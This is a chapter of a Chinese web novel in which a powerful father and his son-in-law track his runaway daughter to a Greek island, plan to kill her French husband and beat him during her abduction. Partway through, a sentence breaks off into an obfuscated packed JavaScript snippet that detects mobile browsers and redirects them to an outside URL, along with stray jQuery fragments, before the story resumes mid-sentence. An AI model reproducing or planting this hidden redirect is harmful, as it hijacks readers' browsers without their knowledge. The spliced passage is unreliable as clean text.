“还是没有她的消息？”黄成寿怒气冲冲看着眼前头快低到地上的手下。


    黄素仪跑了有一段时间了，起先黄成寿并不知道，他总不好一直过问已经嫁出去的女儿，直到女婿周梧登门道歉说黄素仪失踪了，并且周家已经在力所能及的范围内找了一通，仍不得消息，这才找上黄家。


    始终是黄家的女儿，无论是死是活都得知会一声，周梧本以为岳父会担忧妻子安危，谁曾想岳父却先一步与他道歉，说一定会把黄素仪找回来。


    这太不合常理，周梧一下猜到这里面有蹊跷，妻子或许是主动离开而非遇险，岳父大概率是知道她为什么离开的。


    但周梧没有将不悦表现出来，他很清楚自己能当上黄家的女婿，本就是走了大运，黄父一定有用得着他的地方。


    于是两家人只得悄咪咪避开明面上私下找人，但纸包不住火，周家新婚妻子久久不现身，连她的友人邀约都被拒了，不信邪的友人便直接找上了门。


    但结果肯定是走了空，周梧瞒不下去找到岳父，两人商量之下对外称黄素仪随船出海了。


    这个理由倒是说得过去，众人也信了，毕竟黄素仪本就是留洋归来，加之黄家生意大半都得走海运，作为黄家独女一起去再正常不过了。


    风言风语一时间被压下来，但一趟行程最多三月，眼下黄素仪消失再有一段时间一年了，各种流言又在人口中传播。


    黄父和周家都不是吃素的，这些流言自然逃不过他们的耳朵，可问题就在于，黄素仪还是没找到，只要找到，谣言自然不攻自破。


    可这么长时间下来，两家人愣是没找到一点痕迹，国内可能的地方都找了，连法兰西也去了，就是没找到人。


    黄成寿低头擦着手里的枪，他现在还有最后一个地方没找，就是那个法兰西男人，虽然他一开始就怀疑他了，可所有他能想到的船队商队企业都隐秘调查过，没有黄素仪的登船信息。


    其实最简单的方法就是直接找熟人要登船人员名单，可这样一来事情就败露难以收场，只能畏首畏尾。


    黄家书房，周梧坐在桌对面，看着岳父手里的枪，他一早就知道岳父不是善茬，可他想不到只是找个女人为什么要动枪，更何况还是他自己的女儿。


    “父亲，”周梧开口：“我想到一个可能。”


    “嗯？”黄成寿漫不经心抬眼扫了女婿一眼，又继续低头擦拭手中的枪，“说来听听。”


    岳父的态度周梧早已习惯，他平静的阐述这个他早想到却一直没说的可能：“素仪失踪前一月，她有友人曾上门，但因她隔三差五就有好友邀约，我也就没留意，后来我问过家中佣人，说她们那天在院子里说了好久话，却没留人在身旁伺候。”


    “我一开始觉得这也正常，或许就是她们女人间有些私密话要说，可上个月我从一个客人的口中得知，那个友人，曾是和素仪一起在法兰西留洋的同学。”


    黄成寿终于抬头，他看向女婿：“是个女的？是不是姓秦。”


    “父亲认识？确实姓秦，名秦芊，我调查过，是徽城秦家的七小姐。”周梧其实并不意外岳父知道此人，这两年接触后，他看明白岳父对妻子的掌控程度有多深。


    “秦芊，果然是她，如果素仪能从海上悄无声息跑了，大概率就是她帮得忙，”黄成寿说。


    “她虽是七小姐，可数月前我从饭局上听说，她把她差一点当上家主的哥哥弄得半死，闹的秦家满城风雨，之后她的势头水涨船高，现在隐隐有压过她哥哥的意思了。”


    “既然如此，你去查一下秦芊这一年的出海记录，凡是能查到的事无巨细告诉我。”


    周梧点头：“好的父亲，那我先告辞，有消息我第一时间通知您。”


    没几天，一份详细写明秦芊出海记录和近一年接触过什么人去过什么地方的信被递到黄家，黄成寿看着并没有什么问题的信息，嘴角上扬，虽然看起来天衣无缝，可始终是没有经验，错漏百出。


    看着信上那个找过却没有结果的地方，黄成寿手指压住它，亲爱的女儿，父亲马上要找到你了。


    但事情没这么简单，既然要当暗度陈仓的老鼠就得做好被发现的准备，黄父将一封告状信快马加鞭送到徽城，信中挑明秦芊对她哥哥背地里做的所有事。


    秦家会因为这封信发生何样动乱黄成寿不在意，他只是想给这个和女儿一样的老鼠找点小麻烦，但她是否能承受就不在他考虑范围内了。


    没多久黄成寿和周梧破天荒一起出了海，海上漂泊一个月，落地法兰西，这世上没什么事是钱权解决不了的，黄父出了足够多的钱，得到了费尔的消息，也得到了他带着一个女人离开这里的船票行程记录。


    船再次起航，到了希腊后，看着手下汇集来的所有信息，他不禁笑出声，女儿啊女儿，你真的是不够聪明，以为到了新的地方就万事大吉，一点都不遮掩。


    这些信息周梧自然也知道了，他握着手里写着她的妻子在这里嫁给了另一个男人的纸条，捏着纸的手不由自主用力，可又顾忌岳父，只能憋得关节泛白。


    平白无故被戴了绿帽，放在任何一个男人身上，都忍不了，可周梧从妻子和他住进同一所房子后，就发现她根本不爱他，后来她跑了，他更加肯定，这一路走来，他也明白妻子其实婚前就有爱人。


    他想到新婚之夜，她的反应足够青涩，他该说什么，说她守身如玉？周梧气极反笑，面前的黄成寿听到，却对女婿的怪异没有任何表示。


    他自顾自说道：“找到之后把那个男人杀了，之后的事我自然会给你补偿，或者你想和素仪离婚？你如果想我可以做主，但你应该知道什么该说什么不该说。”


    “父亲，我不想离婚，”周梧回神，他为什么要离婚，黄素仪和黄家欠了他天大的人情，离开黄家还会被忌惮，可只要黄素仪是他妻子一天，他就一天能拥有黄家女婿这个称号的附属资源，“素仪只是年纪小，人非圣贤孰能无过，只要回国她和我安稳过日子，此事就此揭过再不提起。”


    女婿的心思黄成寿看得明明白白，但那又如何，本来他就没想这个他一手促成的婚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114596|160628||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    姻会有多幸福。


    达成一致的两人商讨起如何将黄素仪妥善带回，并且那个男人还得死。


    前一件事不难，难的是后一件，现在海城风雨飘摇，他们在异国他乡杀死人，得到的信息里费尔家有法兰西政府人员，如果被抓住辫子，即使有钱，不一定会被海城那群尸位素餐的人包庇。


    那就只能嫁祸给其他人了，黄成寿不禁感叹，费尔真是给自己找了个好死处，这里的混乱程度不容小觑，各种人员混杂，在那些人聚集的地方，一天死上那么几个人，不足为奇。


    *


    小岛上，黄素仪换了身素色衣服，提着藤编篮子，今天她和费尔打算去城区购买种子。


    费尔也收拾好家里，把门上好锁，给家门口的花浇好水，他接过妻子手里不重的篮子，让妻子挎住他，走向小岛港口。


    这里离城市不算近，家家户户都有小船，刚够日常出行，费尔扶着黄素仪在小船上坐稳，才折身回到岸上解开拴船的绳子，他纵身一跃来到船上。


    船身摇晃，费尔俯身坐下拉过船桨，稳固住船。


    “没事吧，”费尔关切的问。


    黄素仪摇头：“没事，放心。”她说话时手抚在肚子上。


    尚且平坦的腹部在衣服遮盖下什么都看不出来，但两人很清楚，那里有一个小小的生命在一点点长大，是的，她和费尔将要有孩子了。


    自从确定有孕后费尔不再让她碰任何要使力气的事，连吃饭喝水都送到嘴边，让她有种自己是个病入膏肓的耄耋老人，此话一出费尔气的连连祈祷。


    此次离岛费尔本不许她同行的，可架不住黄素仪各种撒娇耍赖，费尔无法，只能胆战心惊同意。


    好在一路上没有出什么事，船平稳到了岸，费尔扶着黄素仪下船，这里船只很多，密密麻麻堆放在岸边，费尔把船拴好，回神拦住妻子的肩膀朝市场走去。


    距离市场还有一段路，这片因为流民聚集时有事故发生，费尔小心拦住妻子眼观四路耳听八方，挡住一切可能碰到妻子的人或物，连地上凸起的土块石头他都提前一脚踢开，生怕一丁点坎坷出现。


    黄素仪嘴上说着有这个必要吗脸上却露出幸福的表情。


    身后突然有人说话，费尔和妻子生活了那么久，虽然没听懂却也知道那是妻子国家的语言，他偏头看去，额上忽然被重击，血液流淌到眼睛里眼前瞬间模糊，还没反应过来搭着妻子的手就被另外的力量狠狠甩开。


    黄素仪被两个人架住，飞速拖开，她正想呼喊丈夫，嘴就被棉布堵住。


    毫无防备的情况下费尔当着她的面被打了，那一棒砸的无比用力，黄素仪的耳边还在回荡声音，她用尽全力试图挣脱束缚，却只能眼睁睁看着费尔被几个穿着破布袍子的人按在地上不要命的打。


    她很清楚那不是为了抢钱的流民，那声“找到你了”就是父亲的索命咒，她根本来不及反应就看见费尔被打晕，自己被拖走。


    地上黄土腾飞，人群见惯不惊围在附近看热闹，他们以为这又是一起寻常抢劫。